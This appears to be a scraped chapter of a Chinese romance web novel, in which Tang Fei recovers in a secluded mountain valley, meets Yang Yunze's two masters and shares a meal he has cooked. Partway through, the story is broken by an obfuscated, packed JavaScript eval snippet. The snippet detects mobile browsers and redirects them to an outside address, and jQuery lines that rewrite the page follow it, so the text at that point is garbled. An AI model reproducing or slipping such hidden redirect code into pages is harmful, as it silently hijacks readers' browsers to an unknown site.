唐扉换好衣裳,简单梳洗,系好发带,推门而出。
太阳低低照在身上,很暖和,眼前看到的一切使她觉得仿佛置身于桃花源中。
四方茅草房围着一方空地,房上飞起袅袅炊烟,房屋身后四周围着约莫一箭远的树林,植着不同种类的树,高低错落,枝桠交错。
此时林中红梅映雪,腊梅吐艳,清冷的空气中飘着幽香。
再向远望去,一面峭壁,远远望去似乎挂着一帘瀑布,其余三面是一片茂密的松林,将这一方秘境围的密不透风。
“这是哪里?”唐扉心中疑惑渐盛,沿着房前缓缓绕了一圈,走到朝东一侧三间房的中间一间门前时,恰好碰见凌风掀帘而出。
“小唐大人。”凌风拱手行礼,“是要找我们将军么,他就在里边,快请进吧。”
“没有,我就是随意走走。”
“哦,那小唐大人你四处转转,我先走了。”凌风说罢朝房后去了。
唐扉看了一会,见凌风消失在浓密的松林中,心想那可能就是这处秘境的出口了。
“怎么站在这里。”杨匀泽不知何时已经站在唐扉身后。
唐扉忍不住问:“杨大哥,这是哪里,是在羽山么?”
“是,羽山后山。”
“后山……”唐扉在脑中努力搜寻,想自己是不是听过这个地方。
“从你住处旁的松林进来便是。”
原来这里和自己住处这么近。
唐扉跟着杨匀泽缓缓走入房后树林,向刚凌风消失处走去。
杨匀泽走在前面,替唐扉挡着树枝,枝桠摆动,唐扉长发还是挂在了一株寒梅上。
杨匀泽转头正好发现,反身将落在了唐扉头上的雪扫尽,直接将梅枝折断,留着红梅在唐扉发间。
他颇为满意地微微一笑,便又转头向前走去。
唐扉摸了摸头上的梅枝,耳根有些发热,继续默默跟在杨匀泽身后。
二人来到刚凌风消失处的松林外,杨匀泽拾起一块尖利岩石,在树干上划了两条横线标记,扔掉石头,拍掉手上的雪,转头对唐扉道:“从这里沿着脚印直走,你就能走出树林。”
唐扉轻轻点了点头。
“还是先回去吧,带你去见下我的两位师父。”
二人沿着原路返回,杨匀泽带着唐扉来到了坐北朝南厢房中间那间,恰好挨着唐扉刚刚走出的房屋。
唐扉想了一路见到杨匀泽的师父要说些什么,但她既不清楚他师父是何身份,也不清楚二人脾气秉性,便只想着到时再说吧。
跟着杨匀泽掀帘而入,杨匀泽拱手道:“徒儿拜见二位师父。”
“唐扉见过二位师父。”唐扉跟着行了礼。
屋内炭火颇旺,房屋中间铺就一张雅致赭色毡毯,毡毯上摆了一方长案,两位老者就坐在一旁。
白衣老者正襟危坐,一丝不苟地在煎茶,那青衣老者则斜倚在案上,一口一口的啜饮。
白衣老者点头,淡淡道:“坐下喝口茶吧。”
青衣老者收了收腿,让出了位置。
杨匀泽上前盘腿坐下,转头招呼唐扉,“晚晚,来坐吧。”
唐扉亦是上前坐在杨匀泽身旁,打量起房间——这房间四壁皆是书架,书册摆放齐整,一侧书架旁简单摆放着一张床榻。
白衣老者给二人添了茶盏,装满茶。
青衣老者噙着笑打量了二人片刻,对着唐扉问道:“你就是京城来的女娃娃?”
“是。”唐扉放下茶杯恭敬地回道。
青衣老者意味深长地看了眼白衣老者,白衣老者亦是噙着笑,“匀泽,你能带她来这里,想必她已是可以信任之人。”
“是。”杨匀泽说得笃定,“她是徒儿的……好友。”
青衣老者撇了撇茶叶,饮了几口,白衣老者双手轻轻摩梭着茶杯。
屋中片刻宁静,陶瓮中的水沸了,咕咕叫着。
唐扉实在不知说什么,只能低眸盯着茶杯。
“以后你可以和匀泽一样叫我三叔。”
吴非白看了看程三,端起茶杯轻轻饮了一口,放回茶杯轻声道:“叫我白叔吧。”
“晚辈见过三叔,白叔。”唐扉起身笑着行礼。
“好了好了,你们京城来的就是礼数太多。”程三朝着唐扉摆手,示意她坐下。
“匀泽,这次要在这里待上一段时日?”白衣老者轻轻抚着胡须问道。
“是,这次徒儿打算待到十五,一是为了养伤,二是这次雪原关交锋中徒儿有些疑惑想请教三叔,还想让白叔帮忙参看下徒儿安置流民之策是否妥帖。”
“嗯……没有别的事了?”程三抬眸笑。
杨匀泽轻轻瞥了一眼唐扉,犹疑道:“有……不敢瞒二位师父,徒儿想带晚晚在这休养一段时日,她一月后要参加入门遴选,所以徒儿还想顺便带她修习下初冬剑法和八卦梅花阵。”
“算为师们没有白替你守了她一天一夜,你这傻小子对师父们还算坦诚。”青衣老者眉目间一片欣慰之色。
唐扉听程三如此说,忙道:“晚辈不好,一点小病还要劳烦二位长辈。”
“不用和我们道歉,匀泽那天抱着你来,胸前衣服都被血染透了,我们两个老家伙还能看着他熬死么。”程三说得有些愤然,“你要谢就谢我这傻徒弟吧。哼……别人还信不过,非得我俩这老骨头在那守着才能放心。”
唐扉转眸看着杨匀泽,心中感激,但又不知怎样说出口,她欠杨匀泽的太多了,不是一两句感谢就说得完。
杨匀泽淡然喝了口茶,转头对着唐扉笑道:“和你没关系,上山时走太快扯到了。”
唐扉看了看杨匀泽胸口,收回视线,低眸继续饮茶。
“你们年轻人的事啊,我们这些老家伙管不了啊。”程三支起身,活动活动臂膀,一瘸一拐地朝着门走去,“我回去歇着了,有事明个再说吧。”
杨匀泽见另一位师父也面带疲色,带着唐扉起身告辞。
杨匀泽出门后,唐扉一直跟在他身后,唐扉很想找杨匀泽说些什么,但又不知说什么……
杨匀泽走至厢房门口,掀开门帘,转头笑道:“进来坐吧。”
唐扉轻轻点头。
一张床,一张长案,一把圈椅,有一面墙上贴了一张皮质舆图,唐扉看不出是哪里,除此别无他物。
杨匀泽拉来椅子,摆在唐扉身后,示意她坐下,自己则坐在床边。
“杨大哥,我住的是你原来的房间吧?”唐扉轻声问道,手指轻轻摩梭着衣袖。
“嗯,还住得惯么?”
“我们换过来吧,我身体已经好了,你需要好好休养。”唐扉认真道。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211275|177881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“有什么不同么?”杨匀泽看着唐扉
唐扉环顾四周,答不出来,像犯了错的孩子般站着低头摆弄衣袖,半晌才吱呜道:“杨大哥,你别再对我这么好了,我不知该怎么报答你。”
“我不需要你报答。”
“可是……可是……”
“可是什么?一定要报答我?”
唐扉低眸轻轻点头。
杨匀泽走到长案边,将散乱的书文整理好,笑道:“那你以后想好再告诉我吧。”
“哦……那杨大哥,我先回去了。”
“嗯,回去好好歇着。”
唐扉满怀心事地出了门。
唐扉悻悻地从杨匀泽那离开,回到房间就躺在床上,睁着眼睛发呆。
“我能为杨大哥做点什么呢?”她觉得自己太笨了,什么都不会,如果她会可以每日给杨大哥烹调些营养羹汤,帮他快些好起来。
想了半日除了打算每日帮他清理包扎伤口,还是没有想出什么。
晚饭时,杨匀泽来敲门叫唐扉用饭,二人一起来到西侧厢房,坐好后杨匀泽又吩咐凌风去叫二位师父来。
唐扉看着满桌的菜肴,手撕羊肉,炙烤猪颈、龙井虾仁、脆皮糖藕、锦绣茄盒……有她在杨匀泽府里吃过的菜式,甚至还有她的家乡菜,唐扉心想不知哪位师父和自己是同乡,口味都如此相似。
二位师父入了座,凌风、凌雪也一起坐下来。
看着满桌佳肴有些摸不着头脑,程三捏着筷子问道:“徒儿啊,今日是什么大日子么?”
杨匀泽表情平静,笑道:“徒儿特意学了一些师父们喜欢的菜式,这次有空特意做来尝一下。”说罢动筷给两位师父碗里添菜。
“我们喜欢……么?”程三看了看杨匀泽,脸上一片云淡风轻,又看了看旁边的唐扉,重重点头:“好,喜欢!”
唐扉一脸吃惊地看着杨匀泽,“杨大哥,这些菜都是你做的?”
“嗯。”杨匀泽抬手给唐扉夹了一只虾仁到碗中。
唐扉很难消化这个事实,杨匀泽怎么看都不像是会做饭的人。
吴非白首先动筷,尝着一块茄盒频频点头。
看着唐扉一脸惊疑表情,程三略带骄傲地说:“我这徒儿十三岁起,我们的饭食都由他准备。”吃了块羊肉到嘴里,两腮翻动,不禁赞道:“以后啊,哪个小娘子嫁给我这徒儿可有得享福喽。”
凌风见状赶紧起身斟酒,“三叔,白叔,将军和小唐大人和凌雪不能饮酒,咱爷几个喝点。”
这几年平日里这后山只有吴非白与程三,今日如此热闹他二人心中喜悦,都多饮了几杯,不等吃完就被凌风和凌雪扶回了房休息,待二人回来老远看到自己家将军给唐扉添菜,觉得二人似乎回去也是多余,直接都转回了自己厢房休息。
杨匀泽先撂了筷,唐扉又慢条斯理地吃了一阵才吃饱,拿出锦帕轻轻擦了擦嘴 ,笑道:“杨大哥看不出你竟然会做饭,还做得这么好吃。”
“做多了就会了。倒是你,多日不见,胃口变好了。”
“嗯!吃饱了才可以练剑,才可以扫石阶,才可以爬上藏书阁,才可以发热,才可以半夜不被饿醒。”唐扉说得自然,说罢小心将锦帕折好放回身前荷包中。
杨匀泽听唐扉如此说,敛了笑容,“这段时间过得怎么样?”